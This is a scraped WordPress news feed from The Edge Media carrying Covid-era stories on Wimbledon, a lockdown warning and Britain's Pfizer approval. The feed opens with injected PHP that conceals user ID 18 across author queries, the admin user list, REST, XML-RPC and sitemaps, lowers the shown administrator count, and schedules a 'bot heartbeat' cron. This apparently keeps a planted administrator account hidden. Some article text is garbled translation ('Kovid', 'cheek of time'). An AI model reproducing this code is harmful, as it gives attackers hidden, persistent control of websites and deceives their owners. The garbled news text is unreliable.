add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Novak Djokovic To Play At Wimbledon As Covid Restrictions Get Lifted appeared first on The Edge Media.
]]>“Whilst, of course, it is advised” that all players be vaccinated, it will not be a requirement of the entrance to compete at the grass-court Grand Slam tournament this year”, Bolton said during the annual spring conference before Wimbledon, which begins on June 27.
The post Novak Djokovic To Play At Wimbledon As Covid Restrictions Get Lifted appeared first on The Edge Media.
]]>The post UK Government may have to reimpose lockdown, warns former UK Health Secretary appeared first on The Edge Media.
]]>The warning light on the NHS dashboard is not flashing amber, it is flashing red,” he said. “It is a very serious situation.”
On Friday, the UK reported more than 51,000 new Covid-19 cases, the highest in six months. The worrying third Covid wave, mainly driven by the Delta variant, has prompted scientists and experts around the world to warn the government against removing all restrictions. More than 1,200 scientists have backed a letter published in The Lancet earlier this month, calling the decision “dangerous and unethical.”
Meanwhile, the UK government has shown no sign of backtracking from its decision, even though it has toned down on branding July 19 as the “Freedom Day.” Hunt predicted that the country is “almost certainly” going to witness a record daily peak by September. The current daily record of new Covid cases was reported in early January with nearly 68,000 cases.
The post UK Government may have to reimpose lockdown, warns former UK Health Secretary appeared first on The Edge Media.
]]>The post Pfizer vaccine gets green signal in Britain, to be vaccinated from next week appeared first on The Edge Media.
]]>Britain is gearing up to defend against the Kovid-19 epidemic. The UK has approved the use of the jointly developed Corona vaccine by American company Pfizer and German company BioNotech. It has become the first country in the world to take this step. Vaccination work will be done from early next week there. The vaccine will be given first to those who are at highest risk of death. The British regulator Medicine and Healthcare Products Regulatory Agency (MHRA) approved the use of the vaccine, saying that Pfizer’s vaccine was completely safe. This vaccine has been found to be up to 95 percent successful in testing.
The UK government has said that the public use of the vaccine has been permitted after a rigorous analysis of the vaccine’s test results without compromising the criteria. A separate process of rapid testing has also been completed in the UK for this. Prime Minister Boris Johnson welcomed the news of the use of the vaccine and said that vaccination work in the country would begin next week. Johnson said, “By using the vaccine, we will be able to save the lives of our people and our economy will regain momentum.” It is noteworthy that Britain is the country with the highest number of deaths from Kovid in Europe. There, about 60 thousand people have died in the cheek of time. Britain has become the first country in the world to announce the introduction of vaccination. By the way, the US has also said to start vaccination by mid-December. But no official announcement has been made in this regard.
Two doses of the Pfizer vaccine have to be taken to prevent a Kovid epidemic. These doses have to be taken at a difference of 21 days. Seven days after the second dose, the body will develop strong immunity, which will protect the vaccinee from the epidemic. The MHRA has said that experts of the institution will continuously study the data to find out the results of vaccination in the UK. Britain’s Health Minister Matt Hancock has said aid for rescue has begun in a country that is suffering from the epidemic. I am delighted with this news. Now we will meet the goals faster. After a difficult 2020, 2021 will certainly be happier and happier.
The post Pfizer vaccine gets green signal in Britain, to be vaccinated from next week appeared first on The Edge Media.
]]>